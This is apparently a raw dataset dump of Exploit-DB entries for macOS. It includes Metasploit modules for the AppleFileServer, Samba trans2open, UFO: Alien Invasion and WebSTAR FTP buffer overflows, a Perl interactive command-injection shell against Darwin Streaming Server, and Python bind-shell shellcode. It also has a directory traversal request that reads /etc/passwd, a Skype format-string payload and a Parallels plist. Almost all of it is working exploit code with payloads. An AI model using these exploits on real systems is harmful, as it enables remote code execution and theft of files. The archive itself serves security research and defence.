deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16863
Description: AppleFileServer (OSX) - LoginExt PathName Overflow (Metasploit)
Type: remote
Platform: osx
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: loginext.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AppleFileServer LoginExt PathName Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the AppleFileServer service
				on MacOS X. This vulnerability was originally reported by Atstake and
				was actually one of the few useful advisories ever published by that
				company. You only have one chance to exploit this bug.
				This particular exploit uses a stack-based return address that will
				only work under optimal conditions.
			},
			'Author'         => 'hdm',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2004-0430'],
					[ 'OSVDB', '5762'],
					[ 'BID', '10271'],
				],
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x00\x20",
					'MinNops'  => 128,
					'Compat'   =>
						{
							'ConnectionType' => "+find"
						}
				},
			'Targets'        =>
				[
					# Target 0
					[
						'Mac OS X 10.3.3',
						{
							'Platform' => 'osx',
							'Arch'     => ARCH_PPC,
							'Ret'      => 0xf0101c0c # stack address :<
						},
					],
				],
			'DisclosureDate' => 'May 3 2004'))

		# Configure the default port to be AFP
		register_options(
			[
				Opt::RPORT(548),
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		path          = "\xff" * 1024
		path[168, 4]  = Rex::Arch.pack_addr(target.arch, target.ret)
		path[172, payload.encoded.length] = payload.encoded

		# The AFP header
		afp = "\x3f\x00\x00\x00"

		# Add the authentication methods
		["AFP3.1", "Cleartxt Passwrd"].each { |m|
			afp << [m.length].pack('C') + m
		}

		# Add the user type and afp path
		afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9)
		afp << "\x03" + [path.length].pack('n') + path

		# Add the data stream interface header
		dsi =
		[
			0,           # Flags
			2,           # Command
			rand(65536), # XID
			0,           # Data Offset
			afp.length,  # Data Length
			0            # Reserved
		].pack("CCnNNN") + afp

		sock.put(dsi)

		handler

		disconnect
	end

end
Exploit-DB #9931
Description: AppleFileServer 10.3.3 (OSX) - LoginEXT PathName Overflow (Metasploit)
Type: remote
Platform: osx
Date: 2004-03-03
Author: H D Moore

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	
	include Msf::Exploit::Remote::Tcp
	
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AppleFileServer LoginExt PathName Overflow',
			'Description'    => %q{
				 This module exploits a stack overflow in the AppleFileServer service
				 on MacOS X. This vulnerability was originally reported by Atstake and
				 was actually one of the few useful advisories ever published by that
				 company. You only have one chance to exploit this bug.
				 This particular exploit uses a stack-based return address that will 
				 only work under optimal conditions.
			},
			'Author'         => 'hdm',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => 
				[
					[ 'CVE', '2004-0430'],
					[ 'OSVDB', '5762'],
					[ 'BID', '10271'],
				],
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x00\x20",
					'MinNops'  => 128,
					'Compat'   =>
						{
							'ConnectionType' => "+find"
						}
				},
			'Targets'        =>
				[
					# Target 0
					[
						'Mac OS X 10.3.3',
						{
							'Platform' => 'osx',
							'Arch'     => ARCH_PPC,
							'Ret'      => 0xf0101c0c # stack address :<
						},
					],
				],	
			'DisclosureDate' => 'May 3 2004'))

		# Configure the default port to be AFP
		register_options(
			[
				Opt::RPORT(548),
			], self.class)			
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		path          = "\xff" * 1024
		path[168, 4]  = Rex::Arch.pack_addr(target.arch, target.ret)
		path[172, payload.encoded.length] = payload.encoded
		
		# The AFP header
		afp = "\x3f\x00\x00\x00"
		
		# Add the authentication methods
		["AFP3.1", "Cleartxt Passwrd"].each { |m| 
			afp << [m.length].pack('C') + m
		}
		
		# Add the user type and afp path
		afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9)
		afp << "\x03" + [path.length].pack('n') + path
		
		# Add the data stream interface header
		dsi = 
		[
			0,           # Flags
			2,           # Command
			rand(65536), # XID
			0,           # Data Offset
			afp.length,  # Data Length
			0            # Reserved
		].pack("CCnNNN") + afp
		
		sock.put(dsi)
		
		handler
		
		disconnect
	end

end
Exploit-DB #1739
Description: Darwin Streaming Server 4.1.2 - 'parse_xml.cgi' Code Execution
Type: remote
Platform: osx
Date: 2003-02-24
Author: FOX_MULDER

Exploit:
#!/usr/bin/perl
#
# QTTS REMOTE ROOT  exploit by FOX_MULDER (fox_mulder@abv.bg)
# FOX_MULDER PRESENTS    fox_mulder_at_abv.bg
#
# Darwin(OSX)4.x(?) 5.X QTSS(Quick Time Stream Server) 3.X
#
# The bug in Darwin 5.X with unpatched QTSS in parse_xml.cgi which lead to remote root compromise:
#    $filename = $query->{'filename'};
#    $templatefile = $query->{'template'};
# Based on http://wbyte.ath.cx/~wbyte/researches/qtss-core.txt#
###########################

use IO::Socket;
use LWP::Simple; 
use LWP 5.64;

sub Usage {
print STDERR "\nQTTS REMOTE ROOT EXPLOIT BY FOX_MULDER !!!\n";
print STDERR "Usage:cenex.pl <www.example.com> \n";
exit;
}

if (@ARGV < 1)
{
 Usage();
}


$host = @ARGV[0];
print "\n\n !!!PRIVATE EXPLOIT!!! \n\n";
print "Darwin QTTS Remote Root Exploit by FOX_MULDER\n";

print "\n[+] Conecting to $host\n";
&check($command="id");
&hack($command="uname -a;id");
while ()
 {
    print "Command# ";
    while(<STDIN>)
     {
        $command=$_;
        chomp($command);
        exit() if ($command eq 'exit');
        last;
     }
    &hack($command);
 }

&hack($command);

sub hack{
my $browser = LWP::UserAgent->new;
   $browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');

  my $url = "http://$host:1220/parse_xml.cgi";
  my $response = $browser->post( $url,
    [
        'filename' => ";$command|"
]
  );


  die "Received invalid response type", $response->content_type
   unless $response->content_type eq 'text/html';

        print $response->content;


}



sub check{
print "[+] Checking if vulnerable . . .\n";
my $browser = LWP::UserAgent->new;
   $browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');

  my $url = "http://$host:1220/parse_xml.cgi";
  my $response = $browser->post( $url,
    [
        'filename' => ";$command|"
]
  );

 	my $code = $response->status_line;
	if($code != 200){
	print "Not vulnerable\n";
	exit;
        }
       print "[+] Status $code ...\n";
}

# milw0rm.com [2003-02-24]
Exploit-DB #40930
Description: Horos 2.1.0 Web Portal - Directory Traversal
Type: remote
Platform: osx
Date: 2016-12-16
Author: LiquidWorm

Exploit:
Horos 2.1.0 Web Portal Remote Information Disclosure Exploit


Vendor: Horos Project
Product web page: https://www.horosproject.org
Affected version: 2.1.0

Summary: Horos™ is an open-source, free medical image viewer. The goal of the
Horos Project is to develop a fully functional, 64-bit medical image viewer for
OS X. Horos is based upon OsiriX and other open source medical imaging libraries.

Desc: Horos suffers from a file disclosure vulnerability when input passed thru the
URL path is not properly verified before being used to read files. This can be
exploited to include files from local resources with directory traversal attacks.

Tested on: macOS Sierra/10.12.2
           macOS Sierra/10.12.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5387
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5387.php


15.12.2016

--


PoC request:

http://127.0.0.1:3333/.../...//.../...//.../...//.../...//.../...//etc/passwd


Response:

##
# User Database
# 
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
...
...
...
Exploit-DB #29614
Description: Parallels - Drag and Drop Hidden Share
Type: remote
Platform: osx
Date: 2007-02-16
Author: Rich Mogull

Exploit:
source: https://www.securityfocus.com/bid/22597/info

Parallels is prone to an arbitrary code-execution vulnerability because of a design flaw in the affected application.

An attacker can exploit this issue to create files in the host operating system. This could result in the execution of code. 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://
www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.apple.test</string>
        <key>LowPriorityIO</key>
        <true/>
        <key>Nice</key>
        <integer>1</integer>
        <key>ProgramArguments</key>
        <array>
                <string>/Applications/TextEdit.app/Contents/MacOS/TextEdit</string>
                <string>daily</string>
        </array>
        <key>StartCalendarInterval</key>
        <dict>
                <key>Hour</key>
                <integer>18</integer>
                <key>Minute</key>
                <integer>0</integer>
        </dict>
</dict>
</plist>
Exploit-DB #9924
Description: Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)
Type: remote
Platform: osx
Date: 2003-04-07
Author: H D Moore

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::SMB

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Samba trans2open Overflow (Mac OS X)',
			'Description'    => %q{
				This exploits the buffer overflow found in Samba versions
				2.2.0 to 2.2.8. This particular module is capable of
				exploiting the bug on Mac OS X PowerPC systems.
					
			},
			'Author'         => [ 'hdm' ],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2003-0201'],
					[ 'OSVDB', '4469'],
					[ 'BID', '7294'],
					[ 'URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],

				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'MinNops'  => 512,

				},
			'Platform'       => 'osx',
			'Arch'           => ARCH_PPC,
			'Targets'        => 
				[
					['Stack Brute Force', { 'Rets' => [0xbffffdfc, 0xbfa00000, 512] } ],

				],
			'DisclosureDate' => 'Apr 7 2003',
			'DefaultTarget' => 0))
			
			register_options(
				[
					Opt::RPORT(139)
				], self.class)
	end

	# Need to perform target detection
	def autofilter
		false
	end

	def exploit
		curr_ret = target['Rets'][0]
		while (curr_ret >= target['Rets'][1])
			break if session_created?
			begin
				print_status("Trying return address 0x%.8x..." %  curr_ret)

				connect
				smb_login
	
				# 1988 is required for findrecv shellcode
				pattern = rand_text_english(1988)
	
				# This stream covers the framepointer and the return address
				pattern[1195, 64] = [curr_ret].pack('N') * 16

				# Stuff the shellcode into the request
				pattern[3, payload.encoded.length] = payload.encoded

				trans =
					"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
					"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
					"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
					"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
					"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
					"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
					pattern

				sock.put(trans)
				handler
				disconnect
				
			rescue EOFError
			rescue => e
				print_status("Caught exception: #{e}")
				break
			end
			curr_ret -= target['Rets'][2]
		end
	end
end
Exploit-DB #28710
Description: Skype Technologies Skype 1.5 - NSRunAlertPanel Remote Format String
Type: remote
Platform: osx
Date: 2006-09-26
Author: Tom Ferris

Exploit:
source: https://www.securityfocus.com/bid/20218/info

Skype is prone to a remote format-string vulnerability because the application fails to properly sanitize user-supplied input before using it in the format-specification argument of a formatted-printing function.

Exploiting this issue allows remote attackers to execute arbitrary machine code in the context of the affected application, potentially facilitating the remote compromise of affected computers.

Skype 1.5.0.79 and prior versions for Apple Mac OS X are vulnerable to this issue.

IFRAME SRC=skype:%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n
Exploit-DB #14091
Description: UFO: Alien Invasion 2.2.1 (OSX) - Remote Code Execution
Type: remote
Platform: osx
Date: 2010-06-28
Author: dookie

Exploit:
#!/usr/bin/python
#
# UFO: Alien Invasion v2.2.1 IRC Client Remote Code Execution - MacOSX
# Author: dookie
# Windows PoC: Jason Geffner http://www.exploit-db.com/exploits/14013
#
import sys, socket, struct

# msfpayload osx/x86/vforkshell_bind_tcp R | msfencode -b '\x00\x0a\x0d' -t c

shellcode = "\x90" * 16
shellcode += ("\xdb\xc3\xd9\x74\x24\xf4\xbb\xf3\xbd\x8d\x7c\x33\xc9\x5d\xb1"
"\x27\x31\x5d\x18\x03\x5d\x18\x83\xc5\xf7\x5f\x78\x4d\x37\x06"
"\xd3\xee\xe7\x79\x84\xbc\xb7\x1b\xe9\xc1\xb8\x59\x8f\xc1\xc6"
"\x5d\xf9\x04\x94\x0f\xab\xe0\x18\xb2\x5a\xad\x91\x51\x36\x5d"
"\xf2\xc3\x95\xed\x9c\x26\x99\x7c\x3b\xeb\xcc\xd2\x73\x61\x3c"
"\x52\x01\x28\xec\x01\xb3\x86\xa0\xb8\xf6\xa7\xb3\x90\x81\x6f"
"\x02\xc2\x12\x84\x64\xb7\x47\x0c\x34\x87\x3d\x7f\x3a\x95\x82"
"\xfc\xc0\x59\x71\xf2\x06\x9e\x29\xa4\x38\x4e\x79\x7f\x74\xee"
"\xe9\x10\xba\xc2\x7c\x18\x73\x5e\xb3\x9a\xf0\xa5\x4b\xef\xe1"
"\x68\x8b\x5f\x66\xa4\x24\x13\x1e\xd2\x15\xb1\xb7\x4c\xe0\xd6"
"\x18\xc1\xa1\x48\x29\xda\x88\xe9\x78\xdd\x42\x63\x99\x8d\x32"
"\x20\x0e\x7e\x02\xc1\x63\xfe\x53\x0e\x2b\xaf\xd3\x43\x4c\x45")

#### Exec Payload From Heap Stub (By Dino Dai Zovi) ####
frag0 = "\x90\x58\x61\xc3"
frag1 = "\x90\x58\x89\xe0\x83\xc0\x0c\x89\x44\x24\x08\xc3"

writeable = 0x8fe66448          # writeable memory location in /usr/lib/dyld
setjmp = 0x8fe1cf38             # t _setjmp in /usr/lib/dyld
strdup = 0x8fe210dc             # t _strdup in /usr/lib/dyld
jmpeax = 0x8fe01041             # jmp eax in /usr/lib/dyld

stub = frag0 + struct.pack('<III',setjmp,writeable+32,writeable) + \
frag1 + 'A' * 20 + struct.pack('<IIIII',setjmp,writeable+24,writeable,strdup,jmpeax) + \
'A' * 4

sploit = "001 :"
sploit += "\x41" * 524
sploit += stub
sploit += shellcode
sploit += "\x0d\x0a"
#sploit = lead

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 6667))
s.listen(1)
print ("[*] Listening on port 6667.")
print ("[*] Have someone connect to you.")
print ("[*] Type <control>-c to exit.")
conn, addr = s.accept()
print '[*] Received connection from: ', addr

conn.send(sploit)
conn.close
Exploit-DB #16864
Description: UFO: Alien Invasion IRC Client (OSX) - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: osx
Date: 2010-10-09
Author: Metasploit

Exploit:
##
# $Id: ufo_ai.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow Exploit',
			'Description'    => %q{
					This module exploits a buffer overflow in the IRC client component
				of UFO: Alien Invasion 2.2.1.
			},
			'Author'   =>
				[
					'Jason Geffner',  # Original Windows PoC Author
					'dookie'          # OSX Exploit Author
				],
			'License'  => MSF_LICENSE,
			'Version'  => '$Revision: 10617 $',
			'References' =>
				[
					[ 'CVE', '2010-2309' ],
					[ 'OSVDB', '65689' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/14013' ]
				],
			'Payload' =>
				{
					'Space' => 400,
					'BadChars' => "\x00\x0a\x0d",
					'MaxNops' => 0,
					'StackAdjustment' => -3500,
				},
			'Platform' => 'osx',
			'Targets' =>
				[
					[ 'Mac OS X 10.5.8 x86, UFOAI 2.2.1',
						{
							'Arch' => ARCH_X86,
							'Offset' => 524,
							'Writable' => 0x8fe66448,  # dyld __IMPORT
							# The rest of these addresses are in dyld __TEXT
							'setjmp' => 0x8fe1cf38,
							'strdup' => 0x8fe210dc,
							'jmp_eax' => 0x8fe01041
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 28 2009'))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
			], self.class)
	end


	def make_exec_payload_from_heap_stub()
		frag0 =
			"\x90" + # nop
			"\x58" + # pop eax
			"\x61" + # popa
			"\xc3"   # ret

		frag1 =
			"\x90" +             # nop
			"\x58" +             # pop eax
			"\x89\xe0" +         # mov eax, esp
			"\x83\xc0\x0c" +     # add eax, byte +0xc
			"\x89\x44\x24\x08" + # mov [esp+0x8], eax
			"\xc3"               # ret

		setjmp = target['setjmp']
		writable = target['Writable']
		strdup = target['strdup']
		jmp_eax = target['jmp_eax']

		exec_payload_from_heap_stub =
			frag0 +
			[setjmp].pack('V') +
			[writable + 32, writable].pack("V2") +
			frag1 +
			"X" * 20 +
			[setjmp].pack('V') +
			[writable + 24, writable, strdup, jmp_eax].pack("V4") +
			"X" * 4
	end


	def on_client_connect(client)

		print_status("Got client connection...")

		offset = target['Offset']

		buffer = "001 :"
		buffer << rand_text_alpha_upper(offset)
		buffer << make_exec_payload_from_heap_stub()
		buffer << make_nops(16)
		buffer << payload.encoded
		buffer << "\x0d\x0a"

		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
		client.put(buffer)

	end

end
Exploit-DB #16872
Description: WebSTAR FTP Server - USER Overflow (Metasploit)
Type: remote
Platform: osx
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: webstar_ftp_user.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WebSTAR FTP Server USER Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the logging routine
				of the WebSTAR FTP server. Reliable code execution is
				obtained by a series of hops through the System library.
			},
			'Author'         => [ 'ddz', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2004-0695'],
					[ 'OSVDB', '7794'],
					[ 'BID', '10720'],

				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 300,
					'BadChars' => "\x00\x20\x0a\x0d",
					'Compat'   =>
						{
							'ConnectionType' => "+find"
						},
				},
			'Targets'        =>
				[
					[
						'Mac OS X 10.3.4-10.3.6',
						{
							'Platform'     => 'osx',
							'Arch'          => ARCH_PPC,
							'Rets'          => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ],
						},
					],
				],
			'DisclosureDate' => 'Jul 13 2004',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]),
			], self)
	end

	# crazy dino 5-hop foo
	#$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120
	#$r28 = pack('N', 0x90034d60); # getgid()
	#$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30
	#$r30 = pack('N', 0x90023590); # call $r3

	def exploit
		connect

		# The offset to the return address is dependent on the length of our hostname
		# as the target system resolves it ( IP or reverse DNS ).
		mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])
		basel =  285 - mhost.length

		print_status("Trying target #{target.name}...")

		#  ret = 296
		# r25  = 260
		# r26  = 264
		# r27  = 268
		# r28  = 272
		# r29  = 276
		# r30  = 280
		# r31  = 284

		# r1+120 = 408

		buf                 = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)
		buf[basel +  24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120
		buf[basel      , 4] = [ target['Rets'][1] ].pack('N') # getgid()
		buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30
		buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3
		buf << payload.encoded

		send_cmd( ['USER', buf] , true )
		send_cmd( ['HELP'] , true )

		handler
		disconnect
	end

end